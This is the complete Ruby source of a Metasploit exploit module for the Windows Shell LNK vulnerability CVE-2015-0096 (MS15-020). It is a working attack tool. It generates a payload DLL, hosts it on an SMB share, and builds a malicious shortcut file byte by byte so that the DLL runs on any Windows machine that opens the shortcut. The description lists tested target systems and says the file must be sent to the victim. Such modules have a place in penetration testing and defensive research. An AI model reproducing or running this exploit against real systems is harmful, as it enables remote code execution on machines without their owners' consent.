Microsoft Windows Shell SMB LNK Code Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::EXE  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::SMB::Server::Share  
  
attr_accessor :exploit_dll_name  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Windows Shell LNK Code Execution',  
'Description' => %q{  
This module exploits a vulnerability in the MS10-046 patch to abuse (again) the handling  
of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious  
DLL. This creates an SMB resource to provide the payload and the trigger, and generates a  
LNK file which must be sent to the target. This module has been tested successfully on  
Windows 2003 SP2 with MS10-046 installed and Windows 2008 SP2 (32 bits) with MS14-027  
installed.  
},  
'Author' =>  
[  
'Michael Heerklotz', # Vulnerability discovery  
'juan vazquez' # msf module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2015-0096'],  
['MSB', 'MS15-020'],  
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/6718459#.VQBOymTF9so'],  
['URL', 'https://github.com/rapid7/metasploit-framework/pull/4911'] # How to guide here  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 2048,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { } ]  
],  
'DisclosureDate' => 'Mar 10 2015',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [true, 'The LNK file', 'msf.lnk'])  
], self.class)  
  
register_advanced_options(  
[  
OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', false])  
], self.class)  
  
deregister_options('FILE_CONTENTS', 'FILE_NAME')  
end  
  
def smb_host  
"\\\\#{srvhost}\\#{share}\\"  
end  
  
  
def setup  
super  
  
self.file_contents = generate_payload_dll  
random_char = rand_text_alpha(1)  
self.file_name = "#{random_char}.dll"  
prefix = "#{random_char} "  
random_length = 257 - smb_host.length - file_name.length - prefix.length  
self.exploit_dll_name = "#{prefix}#{rand_text_alpha(random_length)}#{file_name}"  
  
print_status("Payload available on #{unc}...")  
print_status("Trigger available on #{smb_host}#{exploit_dll_name}...")  
end  
  
def primer  
lnk = generate_link("#{smb_host}#{exploit_dll_name}")  
file_create(lnk)  
print_status('The LNK file must be sent or shared with the target...')  
end  
  
def generate_link(unc)  
uni_unc = unc.unpack('C*').pack('v*')  
path = ''  
path << [  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00  
].pack('C*')  
path << uni_unc  
  
# LinkHeader  
ret = [  
0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,  
0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00  
].pack('C*')  
  
idlist_data = ''  
idlist_data << [0x12 + 2].pack('v')  
idlist_data << [  
0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,  
0x30, 0x9d  
].pack('C*')  
idlist_data << [0x12 + 2].pack('v')  
idlist_data << [  
0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,  
0x30, 0x9d  
].pack('C*')  
idlist_data << [path.length + 2].pack('v')  
idlist_data << path  
idlist_data << [0x00].pack('v') # TERMINAL WOO  
  
# LinkTargetIDList  
ret << [idlist_data.length].pack('v') # IDListSize  
ret << idlist_data  
  
# ExtraData blocks (none)  
ret << [rand(4)].pack('V')  
  
# Patch in the LinkFlags  
ret[0x14, 4] = ['10000001000000000000000000000000'.to_i(2)].pack('N')  
ret  
end  
end  
`